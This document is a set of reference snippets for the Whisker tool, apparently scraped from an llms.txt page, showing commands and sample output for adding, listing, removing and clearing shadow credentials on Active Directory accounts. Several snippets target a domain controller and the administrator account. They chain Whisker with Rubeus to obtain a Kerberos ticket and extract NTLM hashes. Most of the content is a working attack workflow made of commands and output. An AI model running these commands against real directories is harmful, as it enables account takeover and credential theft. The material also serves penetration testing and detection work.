### Remove Shadow Credentials from Active Directory (Bash)

Source: https://context7.com/eladshamir/whisker/llms.txt

Removes a specific shadow credential entry from the msDS-KeyCredentialLink attribute of a target Active Directory account, identified by its DeviceID GUID. It's recommended to use the 'list' command first to obtain the correct DeviceID.

```bash
# Remove a specific shadow credential by DeviceID
Whisker.exe remove /target:DC01$ /domain:contoso.local /dc:dc1.contoso.local /deviceid:2de4643a-2e0b-438f-a99d-5cb058b3254b

# Output:
# [*] Searching for the target account
# [*] Target user found: CN=DC01,OU=Domain Controllers,DC=contoso,DC=local
# [*] Updating the msDS-KeyCredentialLink attribute of the target object
# [+] Found value to remove
# [+] Updated the msDS-KeyCredentialLink attribute of the target object

# Remove credential from user account
Whisker.exe remove /target:administrator /deviceid:9f8c7b6a-5d4e-3f2a-1b0c-8e7d6c5b4a39
```

--------------------------------

### Add Shadow Credentials with Whisker and Request TGT with Rubeus

Source: https://context7.com/eladshamir/whisker/llms.txt

This snippet demonstrates the two-step process of first adding shadow credentials using Whisker.exe, which generates a certificate, and then using Rubeus.exe with that certificate to request a Ticket Granting Ticket (TGT) and extract the target's NTLM hash through the PKINIT authentication flow. The Rubeus output includes the TGT, NTLM hash, and session keys. An alternative method using a Base64 certificate blob directly is also shown.

```bash
Whisker.exe add /target:administrator /domain:contoso.local /dc:dc1.contoso.local /path:C:\temp\admin.pfx /password:TempPass123
Rubeus.exe asktgt /user:administrator /certificate:C:\temp\admin.pfx /password:"TempPass123" /domain:contoso.local /dc:dc1.contoso.local /getcredentials /show

# Alternative: Use Base64 certificate blob directly (no file on disk)
Rubeus.exe asktgt /user:administrator /certificate:MIIJuAIBAzCCCXQGCSqGS... /password:"RandomPass" /domain:contoso.local /dc:dc1.contoso.local /getcredentials /show
```

--------------------------------

### Add Shadow Credentials to Active Directory Accounts (Bash)

Source: https://context7.com/eladshamir/whisker/llms.txt

Adds a new shadow credential to a target Active Directory user or computer account. This involves generating a self-signed certificate and creating a KeyCredential entry, enabling PKINIT authentication. The certificate can be saved to a file or output as a Base64 blob.

```bash
Whisker.exe add /target:DC01$ /domain:contoso.local /dc:dc1.contoso.local /path:C:\temp\dc01.pfx /password:P@ssword1

# Output:
# [*] No path was provided. The certificate will be printed as a Base64 blob
# [*] Searching for the target account
# [*] Target user found: CN=DC01,OU=Domain Controllers,DC=contoso,DC=local
# [*] Generating certificate
# [*] Certificate generated
# [*] Generating KeyCredential
# [*] KeyCredential generated with DeviceID 2de4643a-2e0b-438f-a99d-5cb058b3254b
# [*] Updating the msDS-KeyCredentialLink attribute of the target object
# [+] Updated the msDS-KeyCredentialLink attribute of the target object
# [*] Saving the associated certificate to file...
# [*] The associated certificate was saved to C:\temp\dc01.pfx
# [*] You can now run Rubeus with the following syntax:
#
# Rubeus.exe asktgt /user:DC01$ /certificate:C:\temp\dc01.pfx /password:"P@ssword1" /domain:contoso.local /dc:dc1.contoso.local /getcredentials /show

# Add shadow credentials to a user account with auto-generated password (certificate as Base64)
Whisker.exe add /target:administrator /domain:contoso.local /dc:dc1.contoso.local

# Output includes Base64-encoded certificate blob for use with Rubeus
```

--------------------------------

### List Shadow Credentials in Active Directory (Bash)

Source: https://context7.com/eladshamir/whisker/llms.txt

Lists all existing shadow credentials associated with the msDS-KeyCredentialLink attribute of a target Active Directory account. It displays the DeviceID and creation time for each entry, aiding in reconnaissance and identifying existing credentials.

```bash
# List all shadow credentials for a target account
Whisker.exe list /target:DC01$ /domain:contoso.local /dc:dc1.contoso.local

# Output:
# [*] Searching for the target account
# [*] Target user found: CN=DC01,OU=Domain Controllers,DC=contoso,DC=local
# [*] Listing deviced for DC01$:
#     DeviceID: 2de4643a-2e0b-438f-a99d-5cb058b3254b | Creation Time: 10/11/2021 10:32:44 AM
#     DeviceID: 9f8c7b6a-5d4e-3f2a-1b0c-8e7d6c5b4a39 | Creation Time: 10/09/2021 02:15:30 PM

# List credentials for a user account (uses current domain/DC if not specified)
Whisker.exe list /target:jsmith
```

--------------------------------

### Clear All Shadow Credentials from Active Directory (Bash)

Source: https://context7.com/eladshamir/whisker/llms.txt

Clears all entries from the msDS-KeyCredentialLink attribute of a target Active Directory account. This action should be used with caution as it can disrupt legitimate passwordless authentication configurations for the affected account.

```bash
# Clear all shadow credentials from target account
Whisker.exe clear /target:DC01$ /domain:contoso.local /dc:dc1.contoso.local

# Output:
# [*] Searching for the target account
# [*] Target user found: CN=DC01,OU=Domain Controllers,DC=contoso,DC=local
# [*] Updating the msDS-KeyCredentialLink attribute of the target object
# [+] Updated the msDS-KeyCredentialLink attribute of the target object

# Warning: Clearing msDS-KeyCredentialLink of accounts configured for
# passwordless authentication will cause disruptions
```

=== COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.